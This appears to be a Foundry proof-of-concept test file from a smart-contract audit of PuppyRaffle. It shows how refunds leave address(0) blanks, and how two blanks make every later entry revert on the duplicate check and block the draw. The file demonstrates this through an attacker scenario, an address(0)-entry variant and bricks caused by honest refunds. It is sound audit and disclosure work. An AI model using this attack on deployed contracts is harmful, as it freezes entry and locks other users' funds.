test/PoC_PR-04.t.sol deploys PuppyRaffle with a 1 ETH entrance fee. A baseline test shows that one refunded blank is tolerated and the round settles. The main test has an attacker enter [X, Y] and refund both, then asserts four things: the attacker's balance is unchanged, players[0] and players[1] are both address(0), every later enterRaffle reverts with "Duplicate player", and selectWinner reverts with "Need at least 4 players", even after changeFeeAddress and a 365-day warp. Other tests cover re-bricking after a draw (fees still withdrawable), the address(0)-entry variant, organic bricks from two honest refunds (3-player and insolvent 5-player rounds), the mid-round entry freeze and the all-blank state. Run it with forge test --match-path test/PoC_PR-04.t.sol -vv; all 8 tests pass.
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract PoC_PR04 is Test {
PuppyRaffle raffle;
uint256 constant FEE = 1e18;
uint256 constant DURATION = 1 days;
address owner = address(this);
address feeAddress = makeAddr("feeAddress");
function setUp() public {
raffle = new PuppyRaffle(FEE, feeAddress, DURATION);
}
function _addr(string memory name, uint256 i) internal returns (address) {
return makeAddr(string(abi.encodePacked(name, vm.toString(i))));
}
function _players(string memory name, uint256 n) internal returns (address[] memory ps) {
ps = new address[](n);
for (uint256 i = 0; i < n; i++) {
ps[i] = _addr(name, i);
}
}
function _one(address a) internal pure returns (address[] memory ps) {
ps = new address[](1);
ps[0] = a;
}
function _enterAs(address payer, address[] memory ps) internal {
vm.deal(payer, payer.balance + FEE * ps.length);
vm.prank(payer);
raffle.enterRaffle{value: FEE * ps.length}(ps);
}
function _winnerIndexFor(address caller, uint256 len) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) % len;
}
function _findCaller(address[] memory slots, bool wantBlank) internal view returns (address) {
for (uint256 k = 1; k < 1000; k++) {
address c = address(uint160(0xC0FFEE00 + k));
uint256 idx = _winnerIndexFor(c, slots.length);
if ((slots[idx] == address(0)) == wantBlank) return c;
}
revert("no caller found");
}
function _expectEntryBricked() internal {
address honest = makeAddr("honestNewcomer");
vm.deal(honest, 10 * FEE);
vm.prank(honest);
vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
raffle.enterRaffle{value: FEE}(_one(makeAddr("freshZ")));
address[] memory four = _players("freshGroup", 4);
vm.prank(honest);
vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
raffle.enterRaffle{value: 4 * FEE}(four);
vm.prank(honest);
vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
raffle.enterRaffle{value: 0}(new address[](0));
}
function test_Baseline_NormalRoundsAndSingleBlankWork() public {
address[] memory ps = _players("p", 4);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[1]);
raffle.refund(1);
_enterAs(makeAddr("payer"), _one(makeAddr("p4")));
assertEq(raffle.players(4), makeAddr("p4"));
address[] memory slots = new address[](5);
slots[0] = ps[0]; slots[1] = address(0); slots[2] = ps[2]; slots[3] = ps[3]; slots[4] = makeAddr("p4");
vm.warp(block.timestamp + DURATION + 1);
vm.prank(_findCaller(slots, false));
raffle.selectWinner();
assertTrue(raffle.previousWinner() != address(0), "winner paid");
_enterAs(makeAddr("payer"), _one(makeAddr("nextRound")));
assertEq(raffle.players(0), makeAddr("nextRound"));
console.log("baseline: one blank tolerated, round settled, next round entry OK");
}
function test_AttackerBricksRaffleAtRoundStart_ForGasOnly() public {
address attacker = makeAddr("attacker");
address x = makeAddr("attackerX");
address y = makeAddr("attackerY");
vm.deal(attacker, 2 * FEE);
uint256 attackerSideBefore = attacker.balance + x.balance + y.balance;
address[] memory xy = new address[](2);
xy[0] = x;
xy[1] = y;
vm.prank(attacker);
raffle.enterRaffle{value: 2 * FEE}(xy);
vm.prank(x);
raffle.refund(0);
vm.prank(y);
raffle.refund(1);
uint256 attackerSideAfter = attacker.balance + x.balance + y.balance;
assertEq(attackerSideAfter, attackerSideBefore, "attacker recovers every wei (gas-only cost)");
assertEq(raffle.players(0), address(0));
assertEq(raffle.players(1), address(0));
console.log("attacker capital before/after (wei):", attackerSideBefore, attackerSideAfter);
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
vm.prank(makeAddr("anyone"));
vm.expectRevert(bytes("PuppyRaffle: Only the player can refund"));
raffle.refund(0);
raffle.changeFeeAddress(makeAddr("newFee"));
_expectEntryBricked();
vm.warp(block.timestamp + 365 days);
_expectEntryBricked();
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
console.log("raffle permanently bricked: entry reverts 'Duplicate player', draw reverts 'Need at least 4 players'");
}
function test_AttackerRebricksAfterADraw_FeesStillWithdrawable() public {
address[] memory ps = _players("r1_", 4);
_enterAs(makeAddr("payer"), ps);
vm.warp(block.timestamp + DURATION + 1);
address attacker = makeAddr("attacker");
vm.prank(attacker);
raffle.selectWinner();
uint256 feesAfterRound1 = raffle.totalFees();
assertEq(feesAfterRound1, (4 * FEE * 20) / 100);
address x = makeAddr("attackerX");
address y = makeAddr("attackerY");
address[] memory xy = new address[](2);
xy[0] = x;
xy[1] = y;
_enterAs(attacker, xy);
vm.prank(x);
raffle.refund(0);
vm.prank(y);
raffle.refund(1);
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
assertEq(address(raffle).balance, feesAfterRound1);
raffle.withdrawFees();
assertEq(feeAddress.balance, feesAfterRound1);
console.log("round 2 bricked; round-1 fees withdrawn (wei):", feeAddress.balance);
}
function test_AlternativeTrigger_EnterAddressZeroThenOneRefund() public {
address a = makeAddr("A");
address[] memory ps = new address[](2);
ps[0] = a;
ps[1] = address(0);
_enterAs(makeAddr("attacker"), ps);
assertEq(raffle.players(1), address(0));
vm.prank(a);
raffle.refund(0);
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
assertEq(address(raffle).balance, FEE);
console.log("address(0) entry + one refund also bricks entry; stuck wei:", address(raffle).balance);
}
function test_OrganicBrick_SmallRoundTwoHonestRefunds() public {
address[] memory ps = _players("h", 3);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[0]);
raffle.refund(0);
vm.prank(ps[2]);
raffle.refund(2);
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
vm.expectRevert(bytes("PuppyRaffle: Need at least 4 players"));
raffle.selectWinner();
console.log("organic: 3 players, 2 refunds -> entry and draw both dead");
}
function test_OrganicBrick_InsolventRoundTwoHonestRefunds() public {
address[] memory ps = _players("h", 5);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[1]);
raffle.refund(1);
vm.prank(ps[3]);
raffle.refund(3);
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
for (uint256 k = 1; k <= 25; k++) {
vm.prank(address(uint160(0xBEEF00 + k)));
vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool to winner"));
raffle.selectWinner();
}
vm.deal(address(this), 1 ether);
(bool ok,) = address(raffle).call{value: 1 ether}("");
assertFalse(ok, "contract rejects plain ETH");
console.log("organic: 5 players, 2 refunds -> balance/prize (wei):", address(raffle).balance, (5 * FEE * 80) / 100);
}
function test_MidRoundEntryFreeze_LargeRound() public {
address[] memory ps = _players("big", 10);
_enterAs(makeAddr("payer"), ps);
vm.prank(ps[2]);
raffle.refund(2);
vm.prank(ps[5]);
raffle.refund(5);
_expectEntryBricked();
address[] memory slots = new address[](10);
for (uint256 i = 0; i < 10; i++) slots[i] = ps[i];
slots[2] = address(0);
slots[5] = address(0);
vm.warp(block.timestamp + DURATION + 1);
vm.prank(_findCaller(slots, true));
vm.expectRevert(bytes("ERC721: mint to the zero address"));
raffle.selectWinner();
vm.prank(_findCaller(slots, false));
raffle.selectWinner();
_enterAs(makeAddr("payer"), _one(makeAddr("afterReset")));
assertEq(raffle.players(0), makeAddr("afterReset"));
console.log("large round: entry frozen mid-round, draw on live slot resets it");
}
function test_AllBlankTerminalState() public {
address[] memory ps = _players("big", 10);
_enterAs(makeAddr("payer"), ps);
for (uint256 i = 0; i < 10; i++) {
vm.prank(ps[i]);
raffle.refund(i);
}
_expectEntryBricked();
vm.warp(block.timestamp + DURATION + 1);
for (uint256 k = 1; k <= 25; k++) {
vm.prank(address(uint160(0xD00D00 + k)));
vm.expectRevert();
raffle.selectWinner();
}
console.log("all-blank: 25/25 draws reverted, entry closed");
}
}